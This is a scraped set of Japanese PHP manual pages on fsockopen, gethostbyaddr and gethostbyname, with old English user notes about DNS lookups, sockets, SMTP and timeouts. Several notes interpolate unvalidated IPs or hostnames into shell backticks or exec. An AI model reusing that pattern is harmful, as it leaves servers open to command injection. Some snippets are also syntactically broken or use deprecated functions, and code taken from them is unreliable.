        {
        echo "Connected\n<BR>";
        fputs ($usenet, "toto\r\n");
        fputs ($usenet, "en\r\n");
        fputs ($usenet, "tutu\r\n");
        fputs ($usenet, "exit\r\n");
        while (!feof($usenet))
                {
                echo ". ".fgets($usenet, 128)."<BR>\n";
                }
        }
?>

Then you will have:
Connected
. ????????
.
. User Access Verification
.
. Password:
. testXB>en
. Password:
. testXB#exit
.
blazely at removetoemail netspace net au 08-Jun-2003 09:55
Here's a quick function to establish a connection to a web server that will time out if the connection is lost after a user definable amount of time or if the server can't be reached.

Also supports Basic authentication if a username/password is specified. Any improvements or criticisms, please email me! :-)

Returns either a resource ID, an error code or 0 if the server can't be reached at all. Returns -1 in the event that something really wierd happens like a non-standard http response or something. Hope it helps someone.

Cheers,

Ben Blazely

<?php
function connectToURL($addr, $port, $path, $user="", $pass="", $timeout="30")
{
 $urlHandle = fsockopen($addr, $port, $errno, $errstr, $timeout);
 if ($urlHandle)
 {
  socket_set_timeout($urlHandle, $timeout);
  if ($path)
  {
   $urlString = "GET $path HTTP/1.0\r\nHost: $addr\r\nConnection: Keep-Alive\r\nUser-Agent: MyURLGrabber\r\n";
   if ($user)
    $urlString .= "Authorization: Basic ".base64_encode("$user:$pass")."\r\n";
    $urlString .= "\r\n";

    fputs($urlHandle, $urlString);

    $response = fgets($urlHandle);

    if (substr_count($response, "200 OK") > 0)      // Check the status of the link
    {
     $endHeader = false;                     // Strip initial header information
     while ( !$endHeader)
     {
      if (fgets($urlHandle) == "\r\n")
       $endHeader = true;
     }

     return $urlHandle;                      // All OK, return the file handle
    }
    else if (strlen($response) < 15)                // Cope with wierd non standard responses
    {
     fclose($urlHandle);
     return -1;
    }
    else                                            // Cope with a standard error response
    {
     fclose($urlHandle);
     return substr($response,9,3);
    }
   }

   return $urlHandle;
  }
  else
  {
   return 0;
  }
 }
}
?>
Sherif Gayed 29-Jan-2003 10:00
Here is how to connect to the web from behind a proxy server:

<?php
/*************start code**************/
/*your proxy server address*/
$proxy = "192.168.10.1";
/*your proxy server port*/
$port = 8080;
/*the url you want to connect to*/
$url = "http://www.php.net/";
$fp = fsockopen($proxy, $port);
fputs($fp, "GET $url HTTP/1.0\r\nHost: $proxy\r\n\r\n");
while(!feof($fp)){
  $line = fgets($fp, 4000);
  print($line);
}
fclose($fp);
/**************end code**************/
?>
dan at lovepond dot com 17-Dec-2002 01:38
Here is some code to help out abit more with the EOF problem.
I had a problem where I needed to strip out so many lines of server input to get back right data i wanted.

<?php
$port=4000;
$host="localhost";
$message="test";
$status=senddata($host,$port,$message);
print "$status";

function senddata($host,$port,$message) {

#takes in account servers that do not return EOF character
#send data to server and get back input

#function globals
$linenumber="2"; #amount of lines to get rid of before we give input
$lineamount="1"; #amount of lines to read after we give input

$fp = fsockopen("$host", $port, $errno, $errstr, 30);
if (!$fp) {
   echo "$errstr ($errno)";
}
else {
   for ($i = 1; $i < $linenumber+1; $i++) {
      fread ($fp,1);
      $bytes_left = socket_get_status($fp);
      if ($bytes_left > 0) { fread($fp, $bytes_left[unread_bytes]); }
   }
   fputs($fp, "$message\r\n");
   for ($i = 1; $i < $lineamount+1; $i++) {
      $status.=fread($fp,1);
      $bytes_left = socket_get_status($fp);
      if ($bytes_left > 0) { $status.=fread($fp, $bytes_left[unread_bytes]); }
   }
   fclose ($fp);
}

return $status;
}

?>
verran at descent-rangers dot com 16-Oct-2002 07:28
I was tearing my hair out for a week trying to figure out how to do this.

If you use fsockopen with a service that doesn't have an EOF, or you try to read beyond EOF or line break, PHP can hang completely.

In my case, I was trying to write a class that talks to Kali servers (www.kali.net) to get a list of people on the chat server. To keep PHP from hanging due to the above, I discovered this:

<?php
    class kali_utils {
        function games_list($kali_server_ip, $kali_server_port) {
            $result = array();
            $fp = fsockopen($kali_server_ip, $kali_server_port, $errno, $error, 30);
            if (!$fp) {
                $result["errno"] = $errno;
                $result["error"] = $error;
            }
            else {
                fputs($fp, "KALIQ");
                $header = fread($fp, 5);
                $bytes_left = socket_get_status($fp);
                if ($bytes_left > 0) {
                    $result["results"] = fread($fp, $bytes_left["unread_bytes"]);
                }
                else {
                    $result["results"] = "";
                }
                fclose($fp);
            }
            return $result;
        }
    }
?>

When I send the request packet, I get a response packet of length 5. Then I call socket_get_status() and use the unread_bytes key from it to know how far to fread from the socket. Works very good.

I've only used this on PHP 4.2.1 so far.
iain at monitormedia dot co dot uk 19-Jul-2002 05:48
Here's how to send an email using SMTP. This includes rudimentary checking on server responses during the process of sending an email. Could be improved by more comprehensive processing of the result codes...or going on to the next mail exchanger when you fail after connecting to the first.

<?php

function another_mail($to,$subject,$headers,$message)
{
 // Could get this from the php ini?
 $from="me@example.com";
 list($me,$mydomain) = split("@",$from);

 // Now look up the mail exchangers for the recipient
 list($user,$domain) = split("@",$to,2);
 if(getmxrr($domain,$mx,$weight) == 0)  return FALSE;

 // Try them in order of lowest weight first
 array_multisort($mx,$weight);
 $success=0;

 foreach($mx as $host) {
  // Open an SMTP connection
  $connection = fsockopen ($host, 25, $errno, $errstr, 1);
  if (!$connection)
    continue;
  $res=fgets($connection,256);
  if(substr($res,0,3) != "220") break;

  // Introduce ourselves
  fputs($connection, "HELO $mydomain\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Envelope from
  fputs($connection, "MAIL FROM: $from\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Envelope to
  fputs($connection, "RCPT TO: $to\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // The message
  fputs($connection, "DATA\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "354") break;

  // Send To:, From:, Subject:, other headers, blank line, message, and finish
  // with a period on its own line.
  fputs($connection, "To: $to\nFrom: $from\nSubject: $subject\n$headers\n\n$message\n.\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Say bye bye
  fputs($connection,"QUIT\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "221") break;

  // It worked! So break out of the loop which tries all the mail exchangers.
  $success=1;
  break;
 }
 // Debug for if we fall over - uncomment as desired
 // print $success?"Mail sent":"Failure: $res\n";
 if($connection) {
  if($success==0) fputs($connection, "QUIT\n");
  fclose ($connection);
 }
 return $success?TRUE:FALSE;
}

another_mail("recipient@example.com","My Subject","X-mailer: PHP Script\nX-another-header: Whatever","Test email body.\n\nNote if you actually put a period on a line\nby itself, the function will terminate prematurely.\n\nYou will get a partial email sent though.\n");
?>


指定した IP アドレスに対応するインターネットホスト名を取得する

  • ≪ fsockopen
  • gethostbyname ≫
  • PHP Manual
  • ネットワーク 関数
  • 指定した IP アドレスに対応するインターネットホスト名を取得する

gethostbyaddr

(PHP 4, PHP 5, PHP 7, PHP 8)

gethostbyaddr — 指定した IP アドレスに対応するインターネットホスト名を取得する

説明

gethostbyaddr ( string $ip ) : string|false

ip で指定したインターネットホストのホスト名を返します。

パラメータ

ip

ホストの IP アドレス。

返り値

成功した場合はホスト名を返します。 失敗した場合は、そのままの形の ip を文字列で返します。 入力が壊れている場合は false を返します。

例

例1 単純な gethostbyaddr() の例

<?php
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);

echo $hostname;
?>

参考

  • gethostbyname() - インターネットホスト名に対応するIPv4アドレスを取得する
  • gethostbynamel() - 指定したインターネットホスト名に対応するIPv4アドレスのリストを取得する

User Contributed Notes

Anonymous 23-Oct-2020 08:41
There is 1 bug in gethostbyaddr_timeout() function that king dot macro at gmail dot com posted in the most important line of all, setting the timeout with socket_set_timeout(). It should be:

@socket_set_timeout($handle, intdiv($timeout_ms, 1000), $timeout_ms % 1000);

I'd also make the $dns parameter last and optional and parse it from /etc/resolve.conf (or something else) if not given.
chris at ocproducts dot com 06-Jun-2019 01:27
This function does respect overrides made in the 'hosts' file, at least on Linux.
Vincent 29-Jan-2019 07:11
I discovered that gethostbyaddr sometimes returned the same host name with some uppercase letters in it and sometimes with all lowercase letters.

example:

d54c34fa1.access.example.com
d54C34FA1.access.example.com

This is probably not the fault of gethostbyaddr, but this can be a problem when comparing or storing, because it will give two entries instead of one.

A simple solution to this is to use strtolower on the host name.
nisha dot com126 at gmail dot com 26-Oct-2017 11:47
gethostbyaddr('10.176.xx.xx') returns IP address only not the host name....

Could you please suggest any solution..
Mark in Sussex 28-Aug-2011 11:21
If you use gethostbyaddr() with a bad IP address then it will send an error message to the error log.
If you don't want your error log file getting too big then first check that the IP address is valid.

In the following example I first check if the IP number starts with a number,
if not then don't use gethostbyaddr('..')

<?php
  $IP = "BadValue.123.123.123";
  if(intval($IP)>0){
    $ServerIP = gethostbyaddr($IP);
  } else {
    $ServerIP = $IP; // A bad address.
  }
?>
james at trnxs dot net 12-Jan-2011 12:45
You should be careful in the use of $_SERVER['HTTP_X_FORWARDED_FOR'], as I discovered, once using Amazon AWS's Elastic Load Balancer's, this value may be a comma separated list of IP addresses and will thusly not compare as conceived in almost every example I have seen posted by users in the comments.
dhjdhj at gmail dot com 25-Sep-2010 06:58
I have observed that there are problems with all approaches that use the existence of an IP address to verify that the name being looked up actually exists.

If you're using opendns, then a request to a non-existent server returns an IP address anyway, the address being one for an opendns server. This is process is presumably in place so that errant URLs in browser requests take you to a "legitimate" page, i.e, the openDNS website where they can notify you of a problem.

Unfortunately, that mechanism seems to occur for ANY non-existent hostname. Appending a single period to the hostname does not seem to help.
Stuart Macdonald 28-Aug-2010 05:07
Here's a simple function that uses Dig to obtain the hostname for a given IP address. If no hostname can be found it returns the IP again.

Works only on linux / unix, or whatever other platform with dig installed as a command line utility.

<?php
    function tryGetHost($ip)
    {
        $string = '';
        exec("dig +short -x $ip 2>&1", $output, $retval);
        if ($retval != 0)
        {
            // there was an error performing the command
        }
        else
        {
            $x=0;
            while ($x < (sizeof($output)))
            {
                $string.= $output[$x];
                $x++;
            }
        }

        if (empty($string))
            $string = $ip;
        else //remove the trailing dot
            $string = substr($string, 0, -1);

        return $string;
    }
?>
marco[DOT]ceppi[@T]seacrow[DOT]org 01-Nov-2009 07:24
Anonymous has a good point (though I don't agree with pushing to execution to shell unless I have to. However this is a faster example (explode then loop is a little too intensive for a simple check)

<?php
function gethost ($ip)
{
    //Make sure the input is not going to do anything unexpected
    //IPs must be in the form x.x.x.x with each x as a number

    if( preg_match('/^(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)(?:[.]
(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)){3}$/', $ip) )
    {
        $host = `host $ip`;
        return (($host ? end ( explode (' ', $host)) : $ip));
    }
    else
    {
        return false;
    }
}
?>

Though to be honest I would use:

<?php
function gethost ($ip)
{
    return ( preg_match('/^(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)(?:[.]
(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)){3}$/', $ip) ) ? gethostbyaddr($ip) : false;
}
?>
webmaster at askapache dot com 22-Oct-2008 01:57
Here is a simple function I compiled from user-notes that works great.. any improvements?

<?php
function get_ip( $host ){
  $hostip = @gethostbyname( $host );
  $ip = ( $hostip == $host ) ? $host : long2ip( ip2long( $hostip ) );
  //echo sprintf("Resolved %s to %s", $host, $ip);
  return $ip;
}
?>
robbakAgmail_com 05-Jun-2008 11:19
it appears that gethostbyname() fails if the domain name contains unicode. Example:

 $ host 10.10.10.128
128.10.10.10.in-addr.arpa domain name pointer PC-de-S\130bastien.flexi.robbak.com.
 $ php
<?php echo gethostbyaddr( '10.10.10.128' ); ?>
10.10.10.128

gethostbyaddr is listed as unicode compatable in version 6, so a fix may be in the works.
billyblue 17-Dec-2007 08:12
I just spent a dickens of a time trying to figure out why my gethostbyaddr's were simply failing halfway through.

I'm returning a log of page visits, and with each new IP, I wanted to pull the hostname of the IP. On each report page, I'm pulling 500 lines from my Db, but only maybe 25 IPs on average. Sometimes this report would generate in under 15 seconds, other times it would fail with a connection reset.

It turns out that several of the IPs in my Db looked like this: x.255.x.x. gethostbyaddr really hates that and simply dies when it reaches one of these IPs.

For my case, I purged the Db and prevented the logging of IPs that contain 255.
oryan at zareste dot com 28-Feb-2006 03:17
If all else fails, but you have shell access, Unix/Linux servers can use this for a timeout response:

shell_exec('host -W 2 0.0.0.0');

Where 0.0.0.0 is of course the IP, and '2' is the number of seconds for the timeout.  This returns a more detailed string of info, with some additional text which might vary depending on the system, so if you want a string with the hostname and nothing else, you'll have to do some substring cutting.  There should be an equivalent of 'host' for Windows users to execute, but it isn't my platform.
tom 07-Oct-2005 01:14
Be careful with the usage of this function - it will slow down a server to a crawl if called a lot and the slowness won't be reflected in any of the obvious places, like CPU usage, apache requests, SQL etc. When you do use it make a special note of where!
reinhard at ess dot co dot at 12-Apr-2005 02:27
tried out some of the examples below, but no one worked for me.
(
"host" returns something if domain-name wasn't found
"gethostbyaddr" has a too long  timeout when it fails
"the udp-example" returns some strange characters...
)
so i have changed the "host"-example a little bit. hope someone can need it. (maybe with little changes like without error-description)

<?
function gethost($ip)
{
   $host = `host $ip`;
   $host=end(explode(' ',$host));
   $host=substr($host,0,strlen($host)-2);
   $chk=split("\(",$host);
   if($chk[1]) return $ip." (".$chk[1].")";
   else return $host;
}
?>
king dot macro at gmail dot com 26-Oct-2004 07:28
The problem of broken DNS servers was causing me a problem because i had a page for user statistics that required around 20 reverse dns lookups to be done, and even as many as 5/6 of them being broken was causing a huge delay in loading the page. so i wrote a function that uses a UDP socket to talk directly to the DNS server (instead of going via the normal gethostbyaddr function) this let me set a timeout.

The only requirement is that your DNS server must be able to do recursive lookups, it wont go to other DNS servers if its told to... and of course you need to know your DNS servers IP address :-)

<?
function gethostbyaddr_timeout($ip, $dns, $timeout=1000)
{
    // random transaction number (for routers etc to get the reply back)
    $data = rand(0, 99);
    // trim it to 2 bytes
    $data = substr($data, 0, 2);
    // request header
    $data .= "\1\0\0\1\0\0\0\0\0\0";
    // split IP up
    $bits = explode(".", $ip);
    // error checking
    if (count($bits) != 4) return "ERROR";
    // there is probably a better way to do this bit...
    // loop through each segment
    for ($x=3; $x>=0; $x--)
    {
        // needs a byte to indicate the length of each segment of the request
        switch (strlen($bits[$x]))
        {
            case 1: // 1 byte long segment
                $data .= "\1"; break;
            case 2: // 2 byte long segment
                $data .= "\2"; break;
            case 3: // 3 byte long segment
                $data .= "\3"; break;
            default: // segment is too big, invalid IP
                return "INVALID";
        }
        // and the segment itself
        $data .= $bits[$x];
    }
    // and the final bit of the request
    $data .= "\7in-addr\4arpa\0\0\x0C\0\1";
    // create UDP socket
    $handle = @fsockopen("udp://$dns", 53);
    // send our request (and store request size so we can cheat later)
    $requestsize=@fwrite($handle, $data);

    @socket_set_timeout($handle, $timeout - $timeout%1000, $timeout%1000);
    // hope we get a reply
    $response = @fread($handle, 1000);
    @fclose($handle);
    if ($response == "")
        return $ip;
    // find the response type
    $type = @unpack("s", substr($response, $requestsize+2));
    if ($type[1] == 0x0C00)  // answer
    {
        // set up our variables
        $host="";
        $len = 0;
        // set our pointer at the beginning of the hostname
        // uses the request size from earlier rather than work it out
        $position=$requestsize+12;
        // reconstruct hostname
        do
        {
            // get segment size
            $len = unpack("c", substr($response, $position));
            // null terminated string, so length 0 = finished
            if ($len[1] == 0)
                // return the hostname, without the trailing .
                return substr($host, 0, strlen($host) -1);
            // add segment to our host
            $host .= substr($response, $position+1, $len[1]) . ".";
            // move pointer on to the next segment
            $position += $len[1] + 1;
        }
        while ($len != 0);
        // error - return the hostname we constructed (without the . on the end)
        return $ip;
    }
    return $ip;
}
?>

This could be expanded quite a bit and improved but it works and i've seen quite a few people trying various methods to achieve something like this so i decided to post it here. on most servers it should also be more efficient than other methods such as calling nslookup because it doesn't need to run external programs

Note: I'm more a C person than a PHP person, so just ignore it if anything hasn't been done the *recomended* way :-)
Matt AKA Junkie 14-Mar-2004 08:29
Going through numerous tests, the following results are concluded:

<?
// If you're using a server on Windows, this is faster
function getisp($ip='') {
   if ($ip=='') $ip = $_SERVER['REMOTE_ADDR'];
   $longisp = @gethostbyaddr($ip);
   $isp = explode('.', $longisp);
   $isp = array_reverse($isp);
   $tmp = $isp[1];
   if (preg_match("/\<(org?|com?|net)\>/i", $tmp)) {
       $myisp = $isp[2].'.'.$isp[1].'.'.$isp[0];
   } else {
       $myisp = $isp[1].'.'.$isp[0];
   }
   if (preg_match("/[0-9]{1,3}\.[0-9]{1,3}/", $myisp))
      return 'ISP lookup failed.';
   return $myisp;
}

// If your server is on a *nix system, this is faster
function gethost ($ip) {
 $host = `host $ip`;
 return (($host ? end ( explode (' ', $host)) : $ip));
}

// be warned, however, that gethost() will issue a warning
// if safe mode is on with the use of backticked variables

?>
webmaster at script-tease dot net 14-Mar-2004 04:37
gethostbyaddr() tends to lag on various systems for whatever reason. Here are two functions that should prove their worth speedwise.

<?php
// For Linux...

function gethost ($ip) {
 $host = `host $ip`;
 return (($host ? end ( explode (' ', $host)) : $ip));
}

// For Win32...

function nslookup ($ip) {
 $host = split('Name:',`nslookup $ip`);
 return ( trim (isset($host[1]) ? str_replace ("\n".'Address:  '.$ip, '', $host[1]) : $ip));
}
?>

Pretty basic, but it should get the job done.
Matt AKA Junkie 29-Feb-2004 04:11
Since my little ISP thing isn't globally acceptable, here's an update.

<?
function getisp($ip='') {
    if ($ip=='') $ip = $_SERVER['REMOTE_ADDR'];
    $longisp = @gethostbyaddr($ip);
    $isp = explode('.', $longisp);
    $isp = array_reverse($isp);
    $tmp = $isp[1];
    if (preg_match("/\<(org?|com?|net)\>/i", $tmp)) {
        $myisp = $isp[2].'.'.$isp[1].'.'.$isp[0];
    } else {
        $myisp = $isp[1].'.'.$isp[0];
    }
    preg_match("/[0-9]{1,3}\.[0-9]{1,3}/", $myisp) ? return 'ISP lookup failed.' : return $myisp;
}
?>
grimNOSPAMtraffic at hotNOSPAMmail dot com 31-Jul-2003 02:31
If you have found the host of the ip, the shortest way to cut it not to display the full hostname to the public would be:

$host = substr($host, strpos($host, ".") + 1);

P.S. strpos() can also be easily used if you want to put "*" for every simbol you ommit, like so:

$os = strpos($host, ".");
$host = substr($host, $os);
$host = str_repeat("*", $os) . $host;

--McTrafik
www.ad-rotator.com 28-Apr-2003 04:06
For ad-rotator.com, we need to do a lot of IP lookups, gethostbyaddr is very easy get timed-out and the script stucks there forever. Here is a fail-safe alternative, 1 sec max for timeout per IP.

function ar_gethostbyaddr($ip) {
  $output = `host -W 1 $ip`;
  if (ereg('.*pointer ([A-Za-z0-9.-]+)\..*',$output,$regs)) {
    return $regs[1];
  }
  return $ip;
}
jz at NOSPAM dot nplu dot kiev dot ua 11-Apr-2003 03:59
Just to fun that gethostbyadd() returns server machine name known in LAN rather then its DNS if I try to call it against my own host (from workstation), whether it would local (behind the proxy) or global (of proxy itself) IP or just loop 127.0.0.1.

And thus you can get LAN names of other workstations by its intranet IPs (I mean smth like 192.168.0.???)

Fun :)
kriek at jonkriek dot com 21-Mar-2003 08:39
In response to god at weaponzero dot f2s dot com: I found this much easier to write.

<?php
    $ip = $_SERVER['REMOTE_ADDR'];
    $fullhost = gethostbyaddr($ip);
    $host = preg_replace("/^[^.]+./", "*.", $fullhost);
?>

IP address <?=$ip?> | Host: <?=$host?>

You can still protect the IP of your visitors and only show the hostname or show them both.
lukevb_at_iafrica.com 09-Nov-2002 02:43
Sometimes when using $_SERVER['HTTP_X_FORWARDED_FOR'] OR $_SERVER['REMOTE_ADDR'] more than 1 IP address is returned, for example '155.240.132.261, 196.250.25.120'. When this string is passed as an argument for gethostbyaddr() PHP gives the following error: Warning: Address is not a valid IPv4 or IPv6 address in...

To work around this I use the following code to extract the first IP address from the string and discard the rest. (If you wish to use the other IPs they will be in the other elements of the $ips array).

if (strstr($remoteIP, ', ')) {
    $ips = explode(', ', $remoteIP);
    $remoteIP = $ips[0];
}

Hope this helps someone :)
abe at abe2k dot net 07-Nov-2002 06:32
gethostbyaddr() doesn't seem to be able to resolve ip6.int
(ipv6) adresses, so I made a function that can, and works
just like the normal gethostbyaddr().

You need dig and ipv6calc, dig should come with most
distributions, if not, install bind from http://www.isc.org.
ipv6calc can be found at http://www.bieringer.de/linux/IPv6/ipv6calc/index.html.

 function gethostbyaddr6($ip6) {
  $ipv6calc = "/bin/ipv6calc";
  $dig = "/usr/bin/dig";
  $file = popen($ipv6calc." --in ipv6addr --out revnibbles.int ".escapeshellarg($ip6), r);
  $ip = fread($file, 128);
  pclose($file);
  if ((substr($ip, 0, 5) == "Error") || (!$ip)) return "Address is not a valid IPv6 address";
  $file = popen($dig." ptr ".$ip, r);
   while (!feof ($file)) {
    $buffer = fgets($file, 128);
    if (substr($buffer, 0, 1) == ";") continue;
    $buffer = explode(" ", $buffer);
    if ($buffer[3] == "PTR") {
     $host = substr(trim($buffer[4]), 0, -1);
     pclose($file);
     return $host;
    }
   }
  pclose($file);
  return $ip6;
 }

 echo gethostbyaddr6($_SERVER[REMOTE_ADDR]);
dominique at vdx dot nl 30-Sep-2002 05:14
To convert an IP to a numeric value, just use the ip2long (...) function.

Vice versa; use: long2ip (...)
pulstar at mail dot com 20-Sep-2002 02:59
If you need to store an IP addresses in a database, you can convert and store it in an INT type column (4 bytes). The functions below can convert IP addresses to its integer decimal value and vice-versa.

function ip2dec($ipaddr) {
  $base=explode(".",$ipaddr);
  $decimal=(double) $base[0]*16777216;
  $decimal+=$base[1]*65536;
  $decimal+=$base[2]*256;
  $decimal+=$base[3];
  if($decimal>2147483647) {
    $decimal-=4294967296;
  }
  return (int) $decimal;
}

function dec2ip($dec) {
  if($dec<0) {
    $dec=(double) 4294967296+$dec;
  }
  if($dec>16777215) {
    $ip=$dec-(intval($dec/256)*256);
    $dec=(double) intval($dec/256);
  } else $ip="0";
  if($dec>65535) {
    $ip=($dec-(intval($dec/256)*256)).".".$ip;
    $dec=(double) intval($dec/256);
  } else $ip="0.".$ip;
  if($dec>255) {
    $ip=($dec-(intval($dec/256)*256)).".".$ip;
    $dec=(double) intval($dec/256);
  } else $ip="0.".$ip;
  $ip=$dec.".".$ip;
  return (string) $ip;
}
alexey at ozerov dot de 15-Sep-2002 10:15
This function seems to be very slow on IIS 4.0 Server (Win32). I use system call to NSLOOKUP instead to get PC-Hostname:

unset ($execoutput);
exec ("nslookup $IPAdresse 2>nul",$execoutput,$nslookstatus);
if (isset ($execoutput[3]) && ereg ("^Name: *([A-Za-z0-9]{2,})\.",$execoutput[3],$regs))
$nslookname=strtoupper($regs[1]);
else $nslookname="Unknown";

Note by members: This is not portable to Windows platforms. so you would be better to stay with our function.
stephane at metacites dot net 10-Sep-2002 07:17
gethostbyaddr_with_cache()

As someone truely said upper in the forum, some unresolved addresses may slow down your script to the point it times out.

Althought I had thought gethostbyaddr() would use some kind of cache, it doesn't seem to when the IP is unresolved (at least on my win machine).

So, I've coded a little gethostbyaddr_with_cache() function that will greatly speed your page if you have many gethostbyaddr() to perform on the same page.

function gethostbyaddr_with_cache($a) {
  global $dns_cache;
  if ($dns_cache[$a]) {
    return $dns_cache[$a];
    } else {
    $temp = gethostbyaddr($a);
    $dns_cache[$a] = $temp;
    return $temp;
  }
    }
inny at core dot fetchnet dot org 10-Aug-2002 09:58
Turning on the HostnameLookup function on in the apache configuration file will severely increase the loading times of all the pages serviced by the httpd-server.
It's mostly a better idea to just use gethostbyaddr($REMOTE_ADDR); instead of $REMOTE_HOST if you turned HostnameLookups On, unless you want the hostnames specified in apache's log file...
ven at PragaKhan dot com 16-Jul-2002 03:55
$REMOTE_HOST or $_SERVER['REMOTE_HOST'] will give you the reversed ip IF apache is setup to do hostname lookups.

HostnameLookups On
elpmille at indiana dot edu 30-May-2002 12:26
I previously used something very similar to what god@weaponzero.f2s.com posted but found it to be quite tedious for getting the 'nicehost'. This method below is a lot cleaner, and it also works for numeric addresses.

function nicehost($host) {
    if (ereg('^([0-9]{1,3}\.){3}[0-9]{1,3}$', $host)) {
        return(ereg_replace('\.[0-9]{1,3}$', '.*', $host));
    } else {
        return(ereg_replace('^.{' . strpos($host, '.') . '}', '*', $host));
    }
}
nothanks at nospam dot com 16-May-2002 03:30
This is also very useful if you'd like to ban these annoying people that keep spamming your forums. It requires a clever use of mySql but can be great:

First, make a table for the bans, then make the query:

"SELECT banReason from tBans where '". gethostbyaddr($REMOTE_ADDR) ."' LIKE banMask"

If your results aren't null it means his host matched a banMask in your DB, so you can redirect him with header() to a banned.php page and prevent him from accessing any content on your page!
phalkon at nospam dot home dot com 08-Jun-2001 03:58
Be cautious when looking up many hostnames.  If your DNS server is slow to respond, you may have to pump up your Max execution time for your scripts, otherwise, it will timeout.  I found that even 3 unresolvable hosts can cause a 30 second delay in processing.
andy at occ dot nu 12-Jan-2001 06:48
if the user is sitting behind a proxy server, you can do this;

<?
    if ($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"] != ""){
        $IP = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
        $proxy = $HTTP_SERVER_VARS["REMOTE_ADDR"];
        $host = @gethostbyaddr($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]);
    }else{
        $IP = $HTTP_SERVER_VARS["REMOTE_ADDR"];
        $host = @gethostbyaddr($HTTP_SERVER_VARS["REMOTE_ADDR"]);
    }
?>

ps; i use $HTTP_SERVER_VARS["something"] instead of just $something;
you can get most of the $HTTP_SERVER_VARS by just using there $something equivalent, see the manual for that (preserved variables)


インターネットホスト名に対応するIPv4アドレスを取得する

  • ≪ gethostbyaddr
  • gethostbynamel ≫
  • PHP Manual
  • ネットワーク 関数
  • インターネットホスト名に対応するIPv4アドレスを取得する

gethostbyname

(PHP 4, PHP 5, PHP 7, PHP 8)

gethostbyname — インターネットホスト名に対応するIPv4アドレスを取得する

説明

gethostbyname ( string $hostname ) : string

hostname で指定したインターネットホストの IPv4 アドレスを返します。

パラメータ

hostname

ホスト名。

返り値

IPv4 アドレスを返します。失敗した場合は、そのままの形の hostname を文字列で返します。

例

例1 単純な gethostbyname() の例

<?php
$ip = gethostbyname('www.example.com');

echo $ip;
?>

参考

  • gethostbyaddr() - 指定した IP アドレスに対応するインターネットホスト名を取得する
  • gethostbynamel() - 指定したインターネットホスト名に対応するIPv4アドレスのリストを取得する
  • inet_pton() - 人間が読める形式の IP アドレスを、パックされた in_addr 形式に変換する
  • inet_ntop() - パックされたインターネットアドレスを、人間が読める形式に変換する

User Contributed Notes

gabriel at nexcore dot com dot br 10-Aug-2016 09:43
For the "dig" solution, here is a better one:

<?php
  $IP = `/usr/bin/dig $host. A +short | /usr/bin/tail -n1`
?>

Using tail because dig, even in the +short form, may return CNAME entries first, and also may return many, many entries (see "dig google.com").

Usig the dot at the end of the host to not perform domain searches.

This works also when $host = IP address already

Will return empty string in case o resolve failure (invalid hostname)
Dennis B. 15-Feb-2016 12:33
Options for the underlying resolver functions can be supplied by using the RES_OPTIONS environmental variable. (at least under Linux, see man resolv.conf)

Set timeout and retries to 1 to have a maximum execution time of 1 second for the DNS lookup:
<?php
  putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
  gethostbyname($something);
?>

You should also use fully qualified domain names ending in a dot. This prevents the resolver from walking though all search domains and retrying the domain with the search domain appended.
php at nemon dot be 17-Aug-2015 04:14
Always add the root . at the end or your server can add it's own suffix.
example: abc.com could become abc.com.yourcompany.com if you don't use abc.com.

I also find this function a litle bit limited because it doesn't tell you if the resolve failed.

TO adress all those issues I use :

function host2ip($host)
{
    $host=trim($host.'.'); // clean and add root .
    $ip= gethostbyname($host);
    if($ip==$host) $ip='';// empty IP if there is no ip
    return $ip;
}
devers 11-Dec-2014 05:37
This function says "Returns the IPv4 address or a string containing the unmodified hostname on failure.

This isn't entirely true, any hostname with a null byte in it will only return the characters BEFORE the null byte.

<?php
$hostname = "foo\0bar";
var_dump($hostname );
var_dump(gethostbyname($hostname ));
?>

Results:
string 'foo?bar' (length=7)
string 'foo' (length=3)
Ome Ko 16-Mar-2013 08:34
If you do a gethostbyname() and there is no trailing dot after a domainname that does not resolve, this domainname will ultimately be appended to the server-FQDN by nslookup.

So if you do a lookup for nonexistentdomainname.be your server may return the ip for nonexistentdomainname.be.yourhostname.com, which is the server-ip.

To avoid this behaviour, just add a trailing dot to the domainname; i.e. gethostbyname('nonexistentdomainname.be.')
Emmett Brosnan 01-Feb-2012 11:09
Grabbing IPs for multiple hosts:

<?php
function getAddrByHost($hosts, $timeout = 3) {
  $returnString = '';
  foreach ($hosts as $host) {
    $query = `nslookup -timeout=$timeout -retry=1 $host`;
    if (preg_match('/\nAddress: (.*)\n/', $query, $matches))
      $returnString .= trim($matches[1]) . '<br>';
    $returnString .= $host . '<br>';
  }
  return $returnString;

}

$hostArray[] = 'www.domain1.com';
$hostArray[] = 'www.domain2.com';
//$hostArray[] = 'www.domain3.com';
//$hostArray[] = 'www.domain4.com';

$returnString = getAddrByHost($hostArray);
echo $returnString;
?>
Alexandre (d) 17-Jul-2011 09:28
Important note: You should avoid its use in production.

DNS Resolution may take from 0.5 to 4 seconds, and during this time your script is NOT being executed.

Your customers may think that the server is slow, but actually it is just waiting for the DNS resolution response.

You can use it, but if you want performance, you should avoid it, or schedule it to some CRON script...
nirazuelos at gmail dot com 12-Aug-2009 08:52
This is the best method I've come up with to resolve any host-name to ip-address, it's quick and reliable and has support for timeout! An invalid address, a unicode string for exmaple, returns after 4~ seconds, instead of 8~ with gethostbyname! It works only with unix though.

<?php
function getAddrByHost($host, $timeout = 3) {
   $query = `nslookup -timeout=$timeout -retry=1 $host`;
   if(preg_match('/\nAddress: (.*)\n/', $query, $matches))
      return trim($matches[1]);
   return $host;
}
?>
manalejandro at gmail dot com 24-May-2008 08:59
This logic solution to problem checking dns reverse name resolution:

<?php
$ip = gethostbyname($host);
